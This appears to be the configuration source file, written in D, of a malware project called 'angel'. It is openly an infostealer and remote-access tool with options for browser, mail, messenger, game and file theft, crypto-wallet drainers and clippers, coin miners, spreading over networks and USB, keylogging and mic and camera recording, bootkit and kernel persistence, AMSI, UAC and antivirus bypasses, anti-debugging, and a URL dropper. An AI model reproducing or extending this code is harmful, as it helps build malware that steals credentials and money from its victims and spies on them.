189 lines
6.0 KiB
D
189 lines
6.0 KiB
D
module angel.config;
|
|
|
|
// Internal imports
|
|
import angel.utils.constants;
|
|
// External imports
|
|
import std.stdio;
|
|
|
|
// bool -> possible values: 'true' or 'false'
|
|
// string -> possible values: character slice (use "" to define a slice)
|
|
// array - [] -> possible values: multiple character slices seperated by commas (inside)
|
|
struct Config {
|
|
struct Server {
|
|
string host = "127.0.0.1"; // server ip
|
|
int port = 8000; // server opened port (UFW)
|
|
string seclevel = "crystals-kyber"; // encryption/verification/signing to use, choose from: 'ecc, crystals-kyber, rsa'
|
|
}
|
|
|
|
bool debug_mode = true;
|
|
ubyte[] server_pk = [0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51]; // server public ECC-curve25519 key
|
|
|
|
struct Antidbg {
|
|
bool analysis = true;
|
|
bool dbg = true;
|
|
bool kill = false;
|
|
bool vm = false;
|
|
}
|
|
|
|
bool fakeErr = false;
|
|
// remove Constants.Errmsg("[]") to use std err msg
|
|
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
|
|
|
|
struct Exclude {
|
|
string[] country = ["de", "us", "ru"]; // country to exclude from stealing
|
|
string[] path = ["", ""]; // path to exclude from antivirus
|
|
string[] network = [""]; // disables access to specific network/web addresses
|
|
}
|
|
|
|
struct Spread {
|
|
bool local_network = true;
|
|
bool messenger = true;
|
|
bool mail = false;
|
|
}
|
|
|
|
struct Infect {
|
|
bool iso = true;
|
|
bool usb = true;
|
|
bool systemfil = true;
|
|
}
|
|
|
|
struct Miner { // choose from: 'gpu/cpu'
|
|
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
|
|
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
|
|
Constants.Coin ltc = Constants.Coin(1, "", "");
|
|
Constants.Coin sol = Constants.Coin(1, "", "");
|
|
Constants.Coin eth = Constants.Coin(1, "", "");
|
|
}
|
|
|
|
struct Exfil {
|
|
bool applications = true;
|
|
|
|
struct Browser {
|
|
bool gecko = false;
|
|
bool chromium = true;
|
|
bool inject = false;
|
|
}
|
|
|
|
Browser browser;
|
|
|
|
struct Network {
|
|
bool ftp = false;
|
|
bool ssh = false;
|
|
bool vpn = false;
|
|
bool proxy = false;
|
|
bool hook = false;
|
|
}
|
|
|
|
Network network;
|
|
|
|
struct Files {
|
|
bool common = true;
|
|
bool important = true;
|
|
string[] commonFiles = [""];
|
|
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
|
|
}
|
|
|
|
Files files;
|
|
|
|
struct Games {
|
|
bool accounts = true;
|
|
bool saves = false;
|
|
bool inject = true;
|
|
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
|
|
}
|
|
|
|
Games games;
|
|
|
|
struct Mail {
|
|
bool client = true;
|
|
bool web = false;
|
|
bool inject = false;
|
|
}
|
|
|
|
Mail mail;
|
|
|
|
bool filterAccounts = false;
|
|
bool systemInformation = false;
|
|
bool porndetect = false;
|
|
|
|
struct Wallet {
|
|
bool seed = true;
|
|
|
|
Constants.Address xmrDrainer = Constants.Address("");
|
|
Constants.Address btcDrainer = Constants.Address("");
|
|
Constants.Address ltcDrainer = Constants.Address("");
|
|
Constants.Address solDrainer = Constants.Address("");
|
|
Constants.Address ethDrainer = Constants.Address("");
|
|
|
|
Constants.Address xmrClipper = Constants.Address("");
|
|
Constants.Address btcClipper = Constants.Address("");
|
|
Constants.Address ltcClipper = Constants.Address("");
|
|
Constants.Address ethClipper = Constants.Address("");
|
|
Constants.Address solClipper = Constants.Address("");
|
|
|
|
bool inject = false;
|
|
}
|
|
|
|
Wallet wallet;
|
|
|
|
struct Messenger {
|
|
bool messages = false;
|
|
bool login = true;
|
|
bool inject = false;
|
|
}
|
|
|
|
Messenger messenger;
|
|
|
|
bool snapshot = false;
|
|
bool screenshot = true;
|
|
}
|
|
|
|
struct Conn {
|
|
bool keylogger = true;
|
|
bool micrecord = false;
|
|
bool vidrecord = false;
|
|
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
|
|
}
|
|
|
|
struct Persistence {
|
|
string mode = ""; // bootkit, ring0 kernel mode, registry, startup files, app startup
|
|
// choose from: 'boot, kernel, reg, file, app'
|
|
}
|
|
|
|
struct Privesc {
|
|
bool fixExclusion = true;
|
|
bool disReagentC = true;
|
|
bool disEtw = true;
|
|
bool amsiBypass = true;
|
|
bool uacBypass = true;
|
|
bool destroyDef = false;
|
|
bool disableAv = false;
|
|
}
|
|
|
|
struct Dropper {
|
|
bool memLoad = true; // load into memory/run module
|
|
bool startup = false; // will use the same method as persistence
|
|
bool update = false; // scrape again every time from URL
|
|
string url = ""; // URL to scrape file from
|
|
}
|
|
|
|
struct Dnsmanip {
|
|
bool exclude = true; // excludes files from exclude struct to deny web access
|
|
}
|
|
|
|
Server server;
|
|
Antidbg antidbg;
|
|
Exclude exclude;
|
|
Spread spread;
|
|
Infect infect;
|
|
Miner miner;
|
|
Exfil exfil;
|
|
Conn conn;
|
|
Persistence persistence;
|
|
Privesc privesc;
|
|
Dropper dropper;
|
|
Dnsmanip dnsmanip;
|
|
}
|
|
|
|
Config config;
|